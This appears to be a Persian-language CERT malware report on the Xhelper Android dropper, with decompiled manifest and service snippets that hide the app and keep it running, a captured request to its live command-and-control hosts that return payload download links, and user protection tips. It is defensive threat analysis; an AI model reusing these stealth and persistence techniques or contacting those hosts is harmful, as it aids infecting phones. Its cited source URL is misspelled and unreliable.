بسمه‌تعالی

گزارش بدافزار

Xhelper– برنامه‌ی Dropper اندرویدی که ۴۵ هزار دستگاه را در ۶ ماه گذشته آلوده کرد

مرکز ماهر

آبان۹۸

فهرست مطالب

۱ مقدمه

به تازگی محققان شرکت Symantec برنامه‌ی مخربی را کشف کرده‌اند که بر روی گوشی تلفن همراه تبلیغات ناخواسته نمایش می‌دهد، خود را از دید کاربران پنهان می‌کند و نیز می‌تواند برنامه‌های مخرب بیش‌تری را دانلود کند. این اپلیکیشن که Xhelper نام دارد پس از حذف، مجدداً خود را نصب می کند و به گونه‌ای طراحی شده است که با ظاهر نشدن در منوی برنامه‌های گوشی، پنهان می‌ماند. این برنامه در شش ماه گذشته بیش از ۴۵۰۰۰ دستگاه را آلوده کرده است.

۲ Xhelper در عمل

Xhelper یک رابط کاربری عادی ارائه نمی دهد. این بدافزار یک Application Component است، به این معنی که در منوی برنامه‌های دستگاه لیست نمی شود که این کار، بدافزار را قادر می‌سازد تا فعالیت‌های مخرب خود را مخفیانه انجام دهد.

```
<activity android:theme="@style/Theme.Translucent.NoTitleBar" android:name="com.mufc.umbtts.MainActivity" android:exported="true" android:excludeFromRecents="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.INFO"/>
    </intent-filter>
</activity>
```

```
<!-- This name is resolved to com.example.myapp.MainActivity
     based upon the package attribute -->
<activity android:name=".MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>
```

شکل شماره ۱ کد استفاده شده برای پنهان کردن برنامه از منوی گوشی (بالا) و نمایش برنامه در منوی گوشی(پایین)

Xhelper را نمی‌توان به صورت دستی اجرا کرد زیرا هیچ آیکون قابل مشاهده‌ای در منوی برنامه‌های دستگاه ندارد. در عوض، این برنامه مخرب توسط رویدادهای خارجی مانند قطع یا وصل شدن دستگاه از/به منبع تغذیه، Reboot شدن و یا نصب و حذف شدن برنامه‌ای خاص فعال می‌گردد.

```
<receiver android:name="com.mufc.umbtts.WakeUpReceiver" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.USER_PRESENT"/>
        <action android:name="android.intent.action.ACTION_POWER_CONNECTED"/>
        <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED"/>
        <action android:name="android.intent.action.BOOT_COMPLETED"/>
        <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
        <action android:name="android.intent.action.PACKAGE_ADDED"/>
        <action android:name="android.intent.action.PACKAGE_REMOVED"/>
        <action android:name="com.mufc.umbtts.BRACTION"/>
    </intent-filter>
</receiver>
```

شکل شماره ۲ کد Manifest.xml برنامه‌ی مخرب Xhelper ، رخدادهایی که باعث فعال شدن آن می‌شود را نشان می‌دهد.

پس از اجرا شدن، بدافزار خود را به عنوان یک سرویس پیش زمینه ثبت می کند که با این‌کار احتمال خاتمه یافتن خود را در هنگام کم بودن حافظه کاهش میدهد.

برای ماندگار ماندن نیز، بدافزار سرویس خود را پس از متوقف شدن دوباره فعال می‌کند که یک تاکتیک معمول استفاده شده توسط بدافزارهای موبایلی می‌باشد.

```
public void onCreate() {
    super.onCreate();
    try {
        if (VERSION.SDK_INT < 18) {
            startForeground(NOTICE_ID, new Notification());
        } else if (VERSION.SDK_INT < 25) {
            Builder builder = new Builder(this);
            builder.setSmallIcon(C0020R.drawable.ic_launcher);
            builder.setContentTitle(" ");
            builder.setContentText(" ");
            startForeground(NOTICE_ID, builder.build());
            startService(new Intent(this, SubService.class));
        }
    } catch (Throwable th) {
    }
    MainApplication.mainservice_isrunning = true;
}
```

```
public void onDestroy() {
    super.onDestroy();
    try {
        if (VERSION.SDK_INT >= 18 && VERSION.SDK_INT < 25) {
            ((NotificationManager) getSystemService("notification")).cancel(NOTICE_ID);
        }
        MainApplication.service_ct++;
        if (MainApplication.service_ct < 10) {
            startService(new Intent(getApplicationContext(), MainService.class));
        }
    } catch (Throwable th) {
    }
    try {
        MainApplication.mainservice_isrunning = false;
    } catch (Throwable th2) {
    }
}
```

شکل شماره ۳ Xhelper خود را به عنوان سرویس پیش زمینه ثبت می کند و در صورت متوقف شدن، سرویس خود را مجدداً راه اندازی می کند.

هنگامی که Xhelper در دستگاه قربانی به ثبات می‌رسد، عملکردهای مخرب اصلی خود را با رمزگشایی Payload تعبیه‌شده در Package خود و تزریق آن در حافظه آغاز می‌کند. Payload مخرب پس از آن به سرور فرمان و کنترل (C&C) مهاجم متصل شده و منتظر دستورات آتی می‌ماند. Xhelper برای جلوگیری از استراق سمع کردن این ارتباط، از پین کردن گواهی SSL (SSLPinning) بر روی کلیه ارتباطات بین دستگاه قربانی و سرور C&C استفاده می‌کند.

پس از اتصال موفقیت آمیز به سرور C&C، Payloadهای دیگر مانند Dropperها، Clickerها و Rootkitها ممکن است در دستگاه آپلود شوند. محققان شرکت Symantec براین باورند که استخر بدافزارهای ذخیره شده در سرور C&C بسیار گسترده و متنوع است و امکان سرقت داده یا حتی در اختیار گرفتن کامل دستگاه را به مهاجمان می‌دهند.

```
POST https://lp.cooktracking.com/v1/ls/get HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Dalvik/2.1.0 (Linux; U; Android 8.0.0; Nexus 6P Build/OPR6.170623.019)
Host: lp.cooktracking.com
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 267

{"app":{"pkg":"com.mufc.umbtts","ver":13,"is_system":false},"ver":8,"ct":"umobid5388d","cp":"p.umobi98717c1","at":"UMB_DW_13","iso":"","lt":0,"d":{"g":"f7f2629d-1e25-48fa-a552-
0cfa5e1ddaea","a":"0b26ad39f77ce4e1","m":"Nexus 6P","b":"google","f":"Huawei","o":"8.0.0"}}
HTTP/1.1 200 OK
Content-Type: text/plain
Date: Fri, 26 Jul 2019 15:16:04 GMT
Server: nginx/1.14.1
Content-Length: 142
Connection: keep-alive

{"t":1564154164,"nh":8,"l":{"ver":77,"h":"75120cc4fb7e9e6675f627a691131b62","url":"http:\/\/dc.g1ee.com\/loadable\/r\/5cd3b7b[redacted]","e":0}}
```

شکل شماره ۴ درخواست POST تولید شده توسط Xhelper به منظور دریافت تنظیمات لازم برای دانلود Payloadها (آدرس سرور C&C با رنگ قرمز مشخص شده است)

۳ منابع بارگیری Xhelper

بنابر تحقیقات محققان امنیتی Symantec هیچ یک از نمونه‌های بدافزار که مورد تجزیه و تحلیل قرار گرفته در فروشگاه Google Play موجود نبود است و احتمال دارد که این بدافزار از منابع نامشخصی توسط کاربران بارگیری شده باشد.

۴ دامنه تخریب Xhelper

طبق اندازه‌گیری‌های انجام شده، حداقل ۴۵۰۰۰ دستگاه تحت تأثیر بدافزار Xhelper قرار گرفته اند. تنها در یک ماه گذشته، به طور متوسط روزانه ۱۳۱ دستگاه و به طور متوسط در طول ماه ۲۴۰۰ دستگاه به این بدافزار آلوده شده‌اند. این بدافزار بیشتر کاربران کشورهای هند، ایالات متحده و روسیه را تحت تأثیر قرار داده است.

۵ محافظت / کاهش تاثیرات مخرب Xhelper

- سیستم عامل خود را به روز نگه دارید.
- برنامه ها را از سایت‌های ناآشنا و نامتبر دریافت نکرده و فقط از منابع مورد اعتماد استفاده کنید.
- توجه زیادی به مجوزهای درخواست شده توسط برنامه‌ها کنید (درخواست‌های مختلف یک برنامه برای دسترسی به حافظه، امکان ارسال پیامک و ... باید متناسب با عملکرد برنامه باشد).
- از داده‌های حیاتی خود نسخه پشتیبان تهیه کنید.

۶ مراجع

[1] https://www.symantic.com/blogs/threat-intelligence/xhelper-android-malware